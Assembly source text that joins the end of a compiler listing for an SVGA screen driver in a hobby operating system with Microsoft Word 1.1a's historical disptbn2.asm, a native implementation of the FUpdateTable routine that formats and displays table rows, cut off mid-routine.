(SVGA_FIFO_CAP_SCREEN_OBJECT_2)) { mov ecx, 512 ; 00000200H call ?svga_has_fifo_cap@@YA_NH@Z ; svga_has_fifo_cap movzx eax, al test eax, eax je SHORT $LN2@svga_scree ; 27 : const uint32_t pitch = screen->size.width * sizeof (uint32_t); mov rax, QWORD PTR screen$[rsp] mov eax, DWORD PTR [rax+12] shl rax, 2 mov DWORD PTR pitch$1[rsp], eax ; 28 : const uint32_t size = screen->size.height * pitch; mov rax, QWORD PTR screen$[rsp] mov eax, DWORD PTR [rax+16] imul eax, DWORD PTR pitch$1[rsp] mov DWORD PTR size$2[rsp], eax ; 29 : screen->structSize = sizeof (SVGAScreenObject); mov rax, QWORD PTR screen$[rsp] mov DWORD PTR [rax], 44 ; 0000002cH ; 30 : svga_alloc_gmr (size, &screen->backingStore.ptr); mov rax, QWORD PTR screen$[rsp] add rax, 28 mov rdx, rax mov ecx, DWORD PTR size$2[rsp] call ?svga_alloc_gmr@@YAPEAXIPEAUSVGAGuestPtr@@@Z ; svga_alloc_gmr ; 31 : screen->backingStore.ptr.offset = 0; mov rax, QWORD PTR screen$[rsp] mov DWORD PTR [rax+32], 0 ; 32 : screen->backingStore.pitch = pitch; mov rax, QWORD PTR screen$[rsp] mov ecx, DWORD PTR pitch$1[rsp] mov DWORD PTR [rax+36], ecx ; 33 : } else { jmp SHORT $LN1@svga_scree $LN2@svga_scree: ; 34 : screen->structSize = offsetof (SVGAScreenObject, backingStore); mov rax, QWORD PTR screen$[rsp] mov DWORD PTR [rax], 28 $LN1@svga_scree: ; 35 : } ; 36 : svga_screen_define (screen); mov rcx, QWORD PTR screen$[rsp] call ?svga_screen_define@@YAXPEBUSVGAScreenObject@@@Z ; svga_screen_define ; 37 : } add rsp, 56 ; 00000038H ret 0 ?svga_screen_create@@YAXPEAUSVGAScreenObject@@@Z ENDP ; svga_screen_create _TEXT ENDS ; Function compile flags: /Odtpy ; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\svga_screen.cpp _TEXT SEGMENT ?svga_screen_init@@YAXXZ PROC ; svga_screen_init ; 17 : void svga_screen_init () { $LN4: sub rsp, 40 ; 00000028H ; 18 : if (!(svga_has_fifo_cap (SVGA_FIFO_CAP_SCREEN_OBJECT) || ; 19 : svga_has_fifo_cap (SVGA_FIFO_CAP_SCREEN_OBJECT_2))) { mov ecx, 128 ; 00000080H call ?svga_has_fifo_cap@@YA_NH@Z ; svga_has_fifo_cap movzx eax, al test eax, eax jne SHORT $LN1@svga_scree mov ecx, 512 ; 00000200H call ?svga_has_fifo_cap@@YA_NH@Z ; svga_has_fifo_cap movzx eax, al test eax, eax jne SHORT $LN1@svga_scree ; 20 : printf ("[VMware SVGA]: Virtual Device does not have screen object enabled\n"); lea rcx, OFFSET FLAT:$SG5427 call ?printf@@YAXPEBDZZ ; printf $LN1@svga_scree: ; 21 : } ; 22 : } add rsp, 40 ; 00000028H ret 0 ?svga_screen_init@@YAXXZ ENDP ; svga_screen_init _TEXT ENDS END
Microsoft Word for Windows Version 1.1a/Word 1.1a CHM Distribution/Opus/asm/disptbn2.asm
lborgav/Historical-Source-Codes
7
2113
<gh_stars>1-10 include w2.inc include noxport.inc include consts.inc include structs.inc createSeg disptbl_PCODE,disptbn2,byte,public,CODE ; DEBUGGING DECLARATIONS ifdef DEBUG midDisptbn2 equ 31 ; module ID, for native asserts NatPause equ 1 endif ifdef NatPause PAUSE MACRO int 3 ENDM else PAUSE MACRO ENDM endif ; EXTERNAL FUNCTIONS externFP <CacheTc> externFP <ClearRclInParentDr> externFP <CpFirstTap> externFP <CpFirstTap1> externFP <CpMacDocEdit> externFP <CpMacPlc> externFP <CpMin> externFP <CpPlc> externFP <DlkFromVfli> externFP <DrawEndMark> externFP <DrawTableRevBar> externFP <DrawStyNameFromWwDL> externFP <DrcToRc> externFP <DrclToRcw> externFP <FEmptyRc> externFP <FillRect> externFP <FInCa> externFP <FInitHplcedl> externFP <FInsertInPl> externFP <FMatchAbs> externFP <FrameTable> externFP <FreeDrs> externFP <FreeEdl> externFP <FreeEdls> externFP <FreePpv> externFP <FreeHpl> externFP <FreeHq> externFP <FShowOutline> externFP <GetPlc> externFP <HplInit2> externFP <IMacPlc> externFP <N_PdodMother> externFP <NMultDiv> externFP <PatBltRc> externFP <PutCpPlc> externFP <PutIMacPlc> externFP <PutPlc> externFP <N_PwwdWw> externFP <RcwPgvTableClip> externFP <ScrollDrDown> externFP <FSectRc> externFP <XwFromXl> externFP <XwFromXp> externFP <YwFromYl> externFP <YwFromYp> externFP <SetErrorMatProc> ifdef DEBUG externFP <AssertProcForNative> externFP <DypHeightTc> externFP <PutPlcLastDebugProc> externFP <S_CachePara> externFP <S_DisplayFli> externFP <S_FInTableDocCp> externFP <S_FormatDrLine> externFP <S_FreePdrf> externFP <S_FUpdateDr> externFP <S_ItcGetTcxCache> externFP <S_PdrFetch> externFP <S_PdrFetchAndFree> externFP <S_PdrFreeAndFetch> externFP <S_WidthHeightFromBrc> externFP <S_FUpdTableDr> else ; !DEBUG externFP <N_CachePara> externFP <N_DisplayFli> externFP <N_FInTableDocCp> externFP <N_FormatDrLine> externFP <N_FreePdrf> externFP <N_FUpdateDr> externFP <N_ItcGetTcxCache> externFP <N_PdrFetch> externFP <N_PdrFetchAndFree> externFP <N_PdrFreeAndFetch> externFP <N_WidthHeightFromBrc> externFP <PutPlcLastProc> endif ; DEBUG sBegin data ; ; /* E X T E R N A L S */ ; externW caTap externW dxpPenBrc externW dypPenBrc externW hbrPenBrc externW vfmtss externW vfli externW vfti externW vhbrGray externW vihpldrMac externW vmerr externW vpapFetch externW vrghpldr externW vsci externW vtapFetch externW vtcc sEnd data ; CODE SEGMENT _DISPTBN2 sBegin disptbn2 assumes cs,disptbn2 assumes ds,dgroup assumes ss,dgroup ; /* ; /* F U P D A T E T A B L E ; /* ; /* Description: Given the cp beginning a table row, format and display ; /* that table row. Returns fTrue iff the format was successful, with ; /* cp and ypTop correctly advanced. If format fails, cp and ypTop ; /* are left with their original values. ; /**/ ; NATIVE FUpdateTable ( ww, doc, hpldr, idr, pcp, pypTop, hplcedl, dlNew, dlOld, dlMac, ; ypFirstShow, ypLimWw, ypLimDr, rcwInval, fScrollOK ) ; int ww, doc, idr, dlNew, dlOld, dlMac; ; int ypFirstShow, ypLimWw, ypLimDr, fScrollOK; ; struct PLCEDL **hplcedl; ; struct PLDR **hpldr; ; CP *pcp; ; int *pypTop; ; struct RC rcwInval; ; { ; ; NATIVE NOTE, USE OF REGISTERS: Whenever there is a dr currently fetched, ; or recently FetchedAndFree'd, the pdr is kept in SI. After the early ; set-up code (see LUpdateTable), DI is used to store &drfFetch. This ; is used in scattered places through the code and should not be disturbed ; carelessly. The little helper routines also assume these uses. ; ; %%Function:FUpdateTable %%Owner:tomsax cProc N_FUpdateTable,<PUBLIC,FAR>,<si,di> ParmW ww ParmW doc ParmW hpldr ParmW idr ParmW pcp ParmW pypTop ParmW hplcedl ParmW dlNew ParmW dlOld ParmW dlMac ParmW ypFirstShow ParmW ypLimWw ParmW ypLimDr ParmW rcwInvalYwBottomRc ParmW rcwInvalXwRightRc ParmW rcwInvalYwTopRc ParmW rcwInvalXwLeftRc ParmW fScrollOK ; int idrTable, idrMacTable, itcMac; LocalW <idrTable,idrMacTable> LocalW itcMac ; int dylOld, dylNew, dylDr, dylDrOld; LocalW dylOld LocalW dylNew LocalW dylDrOld ; native note dylDr kept in register when need ; int dylAbove, dylBelow, dylLimPldr, dylLimDr; LocalW dylAbove LocalW dylBelow LocalW dylLimPldr LocalW dylLimDr ; int dylBottomFrameDirty = 0; LocalW dylBottomFrameDirty ; int dyaRowHeight, ypTop, ylT; native note: ylT registerized LocalW <dyaRowHeight, ypTop> ; Mac(int cbBmbSav); ; int dlLast, dlMacOld, lrk; LocalW dlLast LocalW dlMacOld LocalB lrk ; byte-size makes life easier ; BOOL fIncr, fTtpDr, fReusePldr, fFrameLines, fOverflowDrs; LocalB fIncr LocalB fTtpDr LocalB fReusePldr LocalB fFrameLines LocalB fOverflowDrs ; BOOL fSomeDrDirty, fLastDlDirty, fLastRow, fFirstRow, fAbsHgtRow; LocalB fSomeDrDirty LocalB fLastDlDirty LocalB fLastRow LocalB fFirstRow LocalB fAbsHgtRow ; BOOL fOutline, fPageView, fDrawBottom; LocalB fOutline LocalB fPageView LocalB fDrawBottom ; Win(BOOL fRMark;) LocalB fRMark ; CP cp = *pcp; LocalD cp ; struct WWD *pwwd; ; native note: registerized LocalW pdrTable ; struct DR *pdrT, *pdrTable; ; native note: registerized ; struct PLDR **hpldrTable, *ppldrTable; LocalW hpldrTable ; LocalW ppldrTable -- registerized ; struct RC rcwTableInval; LocalV rcwTableInval,cbRcMin ; struct CA caTapCur; LocalV caTapCur,cbCaMin ; struct EDL edl, edlLast, edlNext; LocalV edl,cbEdlMin LocalV edlLast,cbEdlMin LocalV edlNext,cbEdlMin ; struct DRF drfT,drfFetch; LocalV drfFetch,cbDrfMin LocalV drfT,cbDrfMin ; struct TCX tcx; LocalV tcx,cbTcxMin ; struct PAP papT; LocalV papT,cbPapMin ; this trick works on the assumption that *pypTop is not altered ; until the end of the routine. cBegin ;PAUSE ; ypTop = *pypTop; assume & assert *pypTop doesn't change until the end. mov bx,[pypTop] mov ax,[bx] mov [ypTop],ax ; dylBottomFrameDirty = Win(fRMark =) 0; ;PAUSE xor ax,ax mov [dylBottomFrameDirty],ax mov [fRMark],al ; cp = *pcp; mov si,pcp mov ax,[si+2] mov [SEG_cp],ax mov ax,[si] mov [OFF_cp],ax ; pwwd = PwwdWw(ww); call LN_PwwdWw ; fOutline = pwwd->fOutline; ; ax = pwwd xchg ax,di ; move to a more convenient register mov al,[di.fOutlineWwd] and al,maskFOutlineWwd mov [fOutline],al ; fPageView = pwwd->fPageView; mov al,[di.fPageViewWwd] and al,maskFPageViewWwd mov [fPageView],al ; CacheTc(ww,doc,cp,fFalse,fFalse); /* Call this before CpFirstTap for efficiency */ push [ww] push [doc] push [SEG_cp] push [OFF_cp] xor ax,ax push ax push ax cCall CacheTc,<> ; CpFirstTap1(doc, cp, fOutline); ;PAUSE push [doc] push [SEG_cp] push [OFF_cp] mov al,[fOutline] cbw push ax cCall CpFirstTap1,<> ; Assert(cp == caTap.cpFirst); ifdef DEBUG push ax push bx push cx push dx mov ax,[OFF_cp] mov dx,[SEG_cp] sub ax,[caTap.LO_cpFirstCa] sbb dx,[caTap.HI_cpFirstCa] or ax,dx je UT001 mov ax,midDisptbn2 mov bx,303 cCall AssertProcForNative,<ax,bx> UT001: pop dx pop cx pop bx pop ax endif ; DEBUG ; caTapCur = caTap; mov si,dataoffset [caTap] lea di,[caTapCur] push ds pop es errnz <cbCaMin-10> movsw movsw movsw movsw movsw ; itcMac = vtapFetch.itcMac; mov ax,[vtapFetch.itcMacTap] mov [itcMac],ax ; fAbsHgtRow = (dyaRowHeight = vtapFetch.dyaRowHeight) < 0; ;PAUSE mov cx,[vtapFetch.dyaRowHeightTap] mov [dyaRowHeight],cx xor ax,ax ; assume correct value is zero or cx,cx jge UT010 errnz <fTrue-1> ;PAUSE inc ax UT010: mov [fAbsHgtRow],al ; Assert ( FInCa(doc,cp,&caTapCur) ); ifdef DEBUG push ax push bx push cx push dx push [doc] push [SEG_cp] push [OFF_cp] lea ax,[caTapCur] push ax cCall FInCa,<> or ax,ax jnz UT020 mov ax,midDisptbn2 mov bx,169 cCall AssertProcForNative,<ax,bx> UT020: pop dx pop cx pop bx pop ax endif ; DEBUG ; pdrT = PdrFetchAndFree(hpldr, idr, &drfT); ; native note: this doesn't count as setting up di yet, ; we'll need di for some other things first... lea di,[drfT] push [hpldr] push [idr] push di ifdef DEBUG cCall S_PdrFetchAndFree,<> else cCall N_PdrFetchAndFree,<> endif xchg ax,si ; lrk = pdrT->lrk; ; si = pdrT mov al,[si.lrkDr] mov [lrk],al ; DrclToRcw(hpldr,&pdrT->drcl,&rcwTableInval); ; si = pdrT push [hpldr] errnz <drclDr> push si lea ax,[rcwTableInval] push ax cCall DrclToRcw,<> ; /* check to see if we need to force a first row or last row condition */ ; fFirstRow = fLastRow = fFalse; /* assume no override */ ; si = pdrT xor ax,ax mov [fFirstRow],al mov [fLastRow],al ; if (fPageView) ; ax = 0, si = pdrT cmp [fPageView],al jnz UT025 jmp LChkOutline ; { ; if (pdrT->fForceFirstRow) ; { UT025: ;PAUSE test [si.fForceFirstRowDr],maskfForceFirstRowDr jz UT060 ; if (caTap.cpFirst == pdrT->cpFirst || dlNew == 0) ; fFirstRow = fTrue; ;PAUSE ; ax = 0, si = pdrT cmp [dlNew],ax jz UT050 ;PAUSE mov cx,[caTap.LO_cpFirstCa] cmp cx,[si.LO_cpFirstDr] jnz UT040 ;PAUSE mov cx,[caTap.HI_cpFirstCa] cmp cx,[si.HI_cpFirstDr] jz UT050 ; else ; { UT040: ; Assert(dlNew > 0); ; dlLast = dlNew - 1; ; GetPlc(hplcedl,dlLast,&edlLast); ;PAUSE lea ax,[edlLast] mov cx,[dlNew] ifdef DEBUG push ax push bx push cx push dx or cx,cx jg UT005 mov ax,midDisptbn2 mov bx,1001 cCall AssertProcForNative,<ax,bx> UT005: pop dx pop cx pop bx pop ax endif ; DEBUG dec cx mov [dlLast],cx call LN_GetPlcParent ; if (caTapCur.cpFirst != CpPlc(hplcedl,dlLast) + edlLast.dcp) ; fFirstRow = fTrue; push [hplcedl] push [dlLast] cCall CpPlc,<> add ax,[edlLast.LO_dcpEdl] adc dx,[edlLast.HI_dcpEdl] sub ax,[caTapCur.LO_cpFirstCa] ; sub to re-zero ax sbb dx,[caTapCur.HI_cpFirstCa] or ax,dx je UT060 UT050: ;PAUSE mov [fFirstRow],fTrue xor ax,ax ; } ; } UT060: ; if (pdrT->cpLim != cpNil && pdrT->cpLim <= caTap.cpLim) ; { ; ax = 0, si = pdrT errnz <LO_cpNil+1> errnz <HI_cpNil+1> mov cx,[si.LO_cpLimDr] and cx,[si.HI_cpLimDr] inc cx jz UT062 ; to the else clause mov ax,[caTap.LO_cpLimCa] mov dx,[caTap.HI_cpLimCa] sub ax,[si.LO_cpLimDr] sbb dx,[si.HI_cpLimDr] js UT062 ; to the else clause ; if (pdrT->idrFlow == idrNil) ; fLastRow = fTrue; ;PAUSE cmp [si.idrFlowDr],0 js UT065 ; set fLastRow = fTrue, or fall through for else ; else ; { ; /* use the pdrTable and drfFetch momentarily... */ ; pdrTable = PdrFetchAndFree(hpldr, pdrT->idrFlow, &drfFetch); ; native note: this doesn't count as setting up di yet, ; we'll need di for some other things first... ;PAUSE lea di,[drfFetch] push [hpldr] push [si.idrFlowDr] push di ifdef DEBUG cCall S_PdrFetchAndFree,<> else cCall N_PdrFetchAndFree,<> endif xchg ax,bx ; Assert(pdrT->doc == pdrTable->doc); ifdef DEBUG ;Did this DEBUG stuff with a call so as not to mess up short jumps. call UT2130 endif ; DEBUG ; fLastRow = pdrT->xl != pdrTable->xl; mov cx,[si.xlDr] cmp cx,[bx.xlDr] jne UT065 ; set fLastRow = fTrue, or fall through for else ;PAUSE jmp short UT070 ; } ; } ; else ; { ; if (FInTableDocCp(doc,caTapCur.cpLim)) UT062: ;PAUSE push [doc] push [caTapCur.HI_cpLimCa] push [caTapCur.LO_cpLimCa] ifdef DEBUG cCall S_FInTableDocCp,<> else cCall N_FInTableDocCp,<> endif or ax,ax jz UT070 ; { ; CachePara(doc, caTapCur.cpLim); ;PAUSE push [doc] push [caTapCur.HI_cpLimCa] push [caTapCur.LO_cpLimCa] ifdef DEBUG cCall S_CachePara,<> else cCall N_CachePara,<> endif ; papT = vpapFetch; push si ; save pdrT mov si,dataoffset [vpapFetch] lea di,[papT] push ds pop es errnz <cbPapMin and 1> mov cx,cbPapMin SHR 1 rep movsw pop si ; restore pdrT ; CachePara(doc, cp); push [doc] push [SEG_cp] push [OFF_cp] ifdef DEBUG cCall S_CachePara,<> else cCall N_CachePara,<> endif ; if (!FMatchAbs(caPara.doc, &papT, &vpapFetch)) push [doc] lea ax,[papT] push ax mov ax,dataoffset [vpapFetch] push ax cCall FMatchAbs,<> or ax,ax jnz UT070 ; fLastRow = fTrue; ;PAUSE UT065: ;PAUSE mov [fLastRow],fTrue ; } ; } UT070: ; } ; native note: end of if fPageView clause ; else if (pwwd->fOutline) ; native note: use fOutline instead ; REVIEW - C should also use fOutline LChkOutline: ; si = pdrT cmp [fOutline],0 jz LChkOverride ; { ; if (!FShowOutline(doc, CpMax(caTap.cpFirst - 1, cp0))) ; fFirstRow = fTrue; ;PAUSE mov ax,[caTap.LO_cpFirstCa] mov dx,[caTap.HI_cpFirstCa] sub ax,1 sbb dx,0 jns UT075 xor ax,ax cwd UT075: push [doc] push dx ; SEG push ax ; OFF cCall FShowOutline,<> or ax,ax jnz UT080 ;PAUSE mov [fFirstRow],fTrue UT080: ; if (!FShowOutline(doc, CpMin(caTap.cpLim, CpMacDocEdit(doc)))) ; fLastRow = fTrue; push [doc] cCall CpMacDocEdit,<> push dx ; SEG push ax ; OFF push [caTap.HI_cpLimCa] push [caTap.LO_cpLimCa] cCall CpMin,<> push [doc] push dx ; SEG push ax ; OFF cCall FShowOutline,<> or ax,ax jnz UT085 ;PAUSE mov [fLastRow],fTrue UT085: ; } LChkOverride: ; /* Rebuild the cache if we need to override. */ ; if ((fFirstRow && !vtcc.fFirstRow) || (fLastRow && !vtcc.fLastRow)) ; CacheTc(ww,doc,cp,fFirstRow,fLastRow); ; si = pdrT xor ax,ax ; a zero register will be handy cmp [fFirstRow],al jz UT090 test [vtcc.fFirstRowTcc],maskFFirstRowTcc jz UT100 UT090: cmp [fLastRow],al jz UT110 test [vtcc.fLastRowTcc],maskFLastRowTcc jnz UT110 UT100: ;PAUSE ; ax = 0 push [ww] push [doc] push [SEG_cp] push [OFF_cp] mov al,[fFirstRow] push ax mov al,[fLastRow] push ax cCall CacheTc,<> UT110: ; fFirstRow = vtcc.fFirstRow; ; fLastRow = vtcc.fLastRow; errnz <fFirstRowTcc-fLastRowTcc> mov al,[vtcc.fFirstRowTcc] push ax and al,maskFFirstRowTcc mov [fFirstRow],al pop ax and al,maskFLastRowTcc mov [fLastRow],al ; dylAbove = vtcc.dylAbove; ;PAUSE mov ax,[vtcc.dylAboveTcc] mov [dylAbove],ax ; dylBelow = vtcc.dylBelow; mov ax,[vtcc.dylBelowTcc] mov [dylBelow],ax ; /* NOTE: The height available for an non-incremental update is extended ; /* past the bottom of the bounding DR so that the bottom border ; /* or frame line will not be shown if the row over flows. ; /**/ ; si = pdrT ; fFrameLines = FDrawTableDrsWw(ww); ; dylLimPldr = pdrT->dyl - *pypTop + dylBelow; ;PAUSE mov ax,[si.dylDr] sub ax,[ypTop] add ax,[dylBelow] mov [dylLimPldr],ax ; native note - do fFrameLines here so that we can jump ; over the next block without retesting it ; #define FDrawTableDrsWw(ww) \ ; (PwwdWw(ww)->grpfvisi.fDrawTableDrs || PwwdWw(ww)->grpfvisi.fvisiShowAll) call LN_PwwdWw xchg ax,bx xor ax,ax mov [fFrameLines],al ; assume fFalse test [bx.grpfvisiWwd],maskfDrawTableDrsGrpfvisi or maskfvisiShowAllGrpfvisi jz UT130 mov [fFrameLines],fTrue ; assumption failed ; fall through to next block with fFrameLines already tested true ; if (dylBelow == 0 && fFrameLines && !fPageView) ; dylLimPldr += DyFromBrc(brcNone,fTrue/*fFrameLines*/); ; si = pdrT, ax = 0 cmp [dylBelow],ax jnz UT130 cmp [fPageView],al jnz UT130 ; #define DyFromBrc(brc, fFrameLines) DxyFromBrc(brc, fFrameLines, fFalse) ; #define DxyFromBrc(brc, fFrameLines, fWidth) \ ; WidthHeightFromBrc(brc, fFrameLines | (fWidth << 1)) errnz <brcNone> ; si = pdrT, ax = 0 push ax inc ax ; fFrameLines | (fWidth << 1) == 1 push ax ifdef DEBUG cCall S_WidthHeightFromBrc,<> else cCall N_WidthHeightFromBrc,<> endif add [dylLimPldr],ax xor ax,ax UT130: ; if (fAbsHgtRow) ; dylLimPldr = min(dylLimPldr,DypFromDya(-dyaRowHeight) + dylBelow); ; si = pdrT, ax = 0 ;PAUSE cmp [fAbsHgtRow],al jz UT135 ; do screwy jump to set up ax for next block mov ax,[dyaRowHeight] neg ax call LN_DypFromDya add ax,[dylBelow] cmp ax,[dylLimPldr] jle UT140 UT135: mov ax,[dylLimPldr] UT140: mov [dylLimPldr],ax UT150: ; dylLimDr = dylLimPldr - dylAbove - dylBelow; ; si = pdrT, ax = dylLimPldr sub ax,[dylAbove] sub ax,[dylBelow] mov [dylLimDr],ax ; /* Check for incremental update */ ; Break3(); /* Mac only thing */ ; if (dlOld == dlNew && dlOld < dlMac && cp == CpPlc(hplcedl,dlNew)) mov ax,[dlOld] cmp ax,[dlNew] jne LChkFreeEdl ;PAUSE cmp ax,[dlMac] jge LChkFreeEdl push [hplcedl] push ax ; since dlNew == dlOld cCall CpPlc,<> ;PAUSE sub ax,[OFF_cp] sbb dx,[SEG_cp] or ax,dx jne LChkFreeEdl ; { ; /* we are about to either use dlOld, or trash it. The next ; /* potentially useful dl is therefore dlOld+1 ; /**/ ; GetPlc ( hplcedl, dlNew, &edl ); ;PAUSE lea ax,[edl] mov cx,[dlNew] call LN_GetPlcParent ; if ( edl.ypTop == *pypTop && edl.hpldr != hNil ) mov ax,[ypTop] sub ax,[edl.ypTopEdl] jne UT175 ; ax = 0 errnz <hNil> cmp [edl.hpldrEdl],ax jz UT175 ; { ; hpldrTable = edl.hpldr; mov ax,[edl.hpldrEdl] mov [hpldrTable],ax ; Assert ( !edl.fDirty ); ; Assert((*hpldrTable)->idrMac == itcMac + 1); ifdef DEBUG push ax push bx push cx push dx push di test [edl.fDirtyEdl],maskFDirtyEdl jz UT160 mov ax,midDisptbn2 mov bx,507 cCall AssertProcForNative,<ax,bx> UT160: mov di,[hpldrTable] mov di,[di] mov ax,[di.idrMacPldr] sub ax,[itcMac] dec ax jz UT170 mov ax,midDisptbn2 mov bx,517 cCall AssertProcForNative,<ax,bx> UT170: pop di pop dx pop cx pop bx pop ax endif ; DEBUG ; fIncr = fTrue; mov [fIncr],fTrue ; ++dlOld; inc [dlOld] ; goto LUpdateTable; jmp LUpdateTable ; } UT175: ; } LChkFreeEdl: ; if (dlNew == dlOld && dlOld < dlMac) /* existing edl is useless, free it */ mov ax,[dlOld] cmp ax,[dlNew] jne LClearFIncr cmp ax,[dlMac] jge LClearFIncr ; FreeEdl(hplcedl, dlOld++); ;PAUSE push [hplcedl] push ax inc ax mov [dlOld],ax cCall FreeEdl,<> ; Break3(); native note: Mac only ; fIncr = fReusePldr = fFalse; LClearFIncr: xor ax,ax mov [fIncr],al mov [fReusePldr],al ; /* new table row; init edl */ ; if (vihpldrMac > 0) mov cx,[vihpldrMac] jcxz LHpldrInit ; { ; hpldrTable = vrghpldr[--vihpldrMac]; ; vrghpldr[vihpldrMac] = hNil; /* we're gonna use or lose it */ ;PAUSE dec cx mov [vihpldrMac],cx sal cx,1 mov di,cx mov bx,[vrghpldr.di] mov [vrghpldr.di],hNil mov [hpldrTable],bx ; ppldrTable = *hpldrTable; mov di,[bx] ; if (ppldrTable->idrMax != itcMac+1 || !ppldrTable->fExternal) mov ax,[di.idrMaxPldr] sub ax,[itcMac] dec ax jnz LFreeHpldr ; ax = 0 cmp [di.fExternalPldr],ax jnz LReusePldr LFreeHpldr: ; { ; /* If ppldrTable->idrMac == 0, LcbGrowZone freed up all of ; /* the far memory associated with this hpldr. We now need to ; /* free only the near memory. */ ; if (ppldrTable->idrMax > 0) ; bx = hpldrTable, di = ppldrTable ;PAUSE mov cx,[di.idrMaxPldr] ; technically an uns jcxz LFreeHpldr2 ; { ; FreeDrs(hpldrTable, 0); ; if ((*hpldrTable)->fExternal) ; FreeHq((*hpldrTable)->hqpldre); push bx xor ax,ax push ax cCall FreeDrs,<> mov cx,[di.fExternalPldr] jcxz LFreeHpldr2 push [di.HI_hqpldrePldr] push [di.LO_hqpldrePldr] cCall FreeHq,<> LFreeHpldr2: ; } ; FreeH(hpldrTable); ; #define FreeH(h) FreePpv(sbDds,(h)) mov ax,sbDds push ax push [hpldrTable] cCall FreePpv,<> ; hpldrTable = hNil; mov [hpldrTable],hNil jmp short LHpldrInit ; } ; else ; { ; Assert(ppldrTable->brgdr == offset(PLDR, rgdr)); LReusePldr: ; bx = hpldrTable, di = ppldrTable ifdef DEBUG push ax push bx push cx push dx cmp [di.brgdrPldr],rgdrPldr je UT180 mov ax,midDisptbn2 mov bx,632 cCall AssertProcForNative,<ax,bx> UT180: pop dx pop cx pop bx pop ax endif ; DEBUG ; fReusePldr = fTrue; mov [fReusePldr],fTrue jmp short LChkHpldr ; } ; } ; if (!fReusePldr) ; native note: we jump directly into the right clause from above ; { ; hpldrTable = HplInit2(sizeof(struct DR),offset(PLDR, rgdr), itcMac+1, fTrue); LHpldrInit: mov ax,cbDrMin push ax mov ax,rgdrPldr push ax mov ax,[itcMac] inc ax push ax mov ax,fTrue push ax cCall HplInit2,<> mov [hpldrTable],ax xchg ax,bx ; Assert(hpldrTable == hNil || (*hpldrTable)->idrMac == 0); ifdef DEBUG push ax push bx push cx push dx mov bx,[hpldrTable] or bx,bx jz UT190 mov bx,[bx] cmp [bx.idrMacPldr],0 jz UT190 mov ax,midDisptbn2 mov bx,716 cCall AssertProcForNative,<ax,bx> UT190: pop dx pop cx pop bx pop ax endif ; DEBUG ; } LChkHpldr: ; bx = hpldrTable ; edl.hpldr = hpldrTable; mov [edl.hpldrEdl],bx ; if (hpldrTable == hNil || vmerr.fMemFail) or bx,bx jz UT200 cmp [vmerr.fMemFailMerr],0 jz UT210 ; { ; SetErrorMat(matDisp); UT200: mov ax,matDisp push ax cCall SetErrorMatProc,<> ; return fFalse; /* operation failed */ xor ax,ax jmp LExitUT ; } ; bx = hpldrTable ; edl.ypTop = *pypTop; UT210: mov ax,[ypTop] mov [edl.ypTopEdl],ax ; native note: the order of these next instructions has been altered ; from the C version for efficiency... ; ; /* this allows us to clobber (probably useless) dl's below */ ; Assert(FInCa(doc,cp,&vtcc.ca) && vtcc.itc == 0); ifdef DEBUG push ax push bx push cx push dx push [doc] push [SEG_cp] push [OFF_cp] mov ax,dataoffset [vtcc.caTcc] push ax cCall FInCa,<> or ax,ax jz UT220 cmp [vtcc.itcTcc],0 jz UT230 UT220: mov ax,midDisptbn2 mov bx,908 cCall AssertProcForNative,<ax,bx> UT230: pop dx pop cx pop bx pop ax endif ; DEBUG ; dylDrOld = dylLimDr; mov ax,[dylLimDr] mov [dylDrOld],ax ; edl.dyp = dylLimPldr; mov ax,[dylLimPldr] mov [edl.dypEdl],ax ; edl.dcpDepend = 1; ; edl.dlk = dlkNil; ; REVIEW is this right? errnz <dcpDependEdl+1-(dlkEdl)> mov [edl.grpfEdl],00001h ; edl.xpLeft = vtcc.xpCellLeft; mov ax,[vtcc.xpCellLeftTcc] mov [edl.xpLeftEdl],ax ; ppldrTable = *hpldrTable; ; set-up for fast moves.. mov di,[bx] add di,hpldrBackPldr push ds pop es ; ppldrTable->hpldrBack = hpldr; mov ax,[hpldr] stosw ; ppldrTable->idrBack = idr; errnz <hpldrBackPldr+2-idrBackPldr> mov ax,[idr] stosw ; ppldrTable->ptOrigin.xp = 0; errnz <idrBackPldr+2-ptOriginPldr> errnz <xwPt> xor ax,ax stosw ; ppldrTable->ptOrigin.yp = edl.ypTop; mov ax,[edl.ypTopEdl] stosw ; ppldrTable->dyl = edl.dyp; errnz <ptOriginPldr+ypPt+2-(dylPldr)> mov ax,[edl.dypEdl] stosw ; PutCpPlc ( hplcedl, dlNew, cp ); ; PutPlc ( hplcedl, dlNew, &edl ); ; bx = hpldrTable ; push arguments for PutCpPlc call push [hplcedl] push [dlNew] push [SEG_cp] push [OFF_cp] cCall PutCpPlc,<> call LN_PutPlc ; Break3(); LUpdateTable: ; native note: set up register variable, this is ; assumed by the remainder of the routine (and the ; little helper routines) ;PAUSE lea di,[drfFetch] ; fSomeDrDirty = fFalse; /* for second pass */ ; CpFirstTap1( doc, cp, fOutline ); ; idrMacTable = fIncr ? itcMac + 1 : 0; xor ax,ax mov [fSomeDrDirty],al cmp [fIncr],al jz UT300 ;PAUSE mov ax,[itcMac] inc ax UT300: mov [idrMacTable],ax ;PAUSE push [doc] push [SEG_cp] push [OFF_cp] mov al,[fOutline] cbw push ax cCall CpFirstTap1,<> ; dylNew = DypFromDya(abs(vtapFetch.dyaRowHeight)) - dylAbove - dylBelow; mov ax,[vtapFetch.dyaRowHeightTap] or ax,ax jns UT310 ;PAUSE neg ax UT310: call LN_DypFromDya sub ax,[dylAbove] sub ax,[dylBelow] mov [dylNew],ax ; dylOld = (*hpldrTable)->dyl; mov bx,[hpldrTable] mov bx,[bx] mov ax,[bx.dylPldr] mov [dylOld],ax ; for ( idrTable = fTtpDr = 0; !fTtpDr; ++idrTable ) ; { xor ax,ax mov [idrTable],ax mov [fTtpDr],al LIdrLoopTest: cmp fTtpDr,0 jz UT320 jmp LIdrLoopEnd ; fTtpDr = idrTable == itcMac; UT320: mov ax,[idrTable] cmp ax,[itcMac] jne UT330 mov [fTtpDr],fTrue UT330: ; Assert ( FInCa(doc,cp,&caTapCur) ); ifdef DEBUG push ax push bx push cx push dx push [doc] push [SEG_cp] push [OFF_cp] lea ax,[caTapCur] push ax cCall FInCa,<> or ax,ax jnz UT340 mov ax,midDisptbn2 mov bx,828 cCall AssertProcForNative,<ax,bx> UT340: pop dx pop cx pop bx pop ax endif ; DEBUG ; ax = idrTable ; if ( idrTable >= idrMacTable ) ; ax = idrTable sub ax,[idrMacTable] ; sub for zero register on branch jge LNewDr ; native note: we'll do the else clause here... ; else ; pdrTable = 